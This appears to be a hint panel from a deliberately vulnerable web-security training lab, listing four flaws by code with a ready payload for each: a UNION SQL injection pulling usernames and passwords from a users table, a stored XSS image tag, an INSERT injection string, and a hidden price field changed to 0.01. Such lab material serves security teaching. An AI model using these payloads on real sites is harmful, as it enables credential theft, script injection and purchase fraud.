LAB hint panel - product

• A03-06 SQL injection in id
  ?id=1 UNION SELECT id,username,password,role,email,phone FROM users --
• A03-16 Stored XSS in review body
  <img src=x onerror=alert(1)>
• A03-09 INSERT injection in nickname
  a', '', 5, 'X') --
• A04-01 Price tampering via hidden field
  edit name="price" to 0.01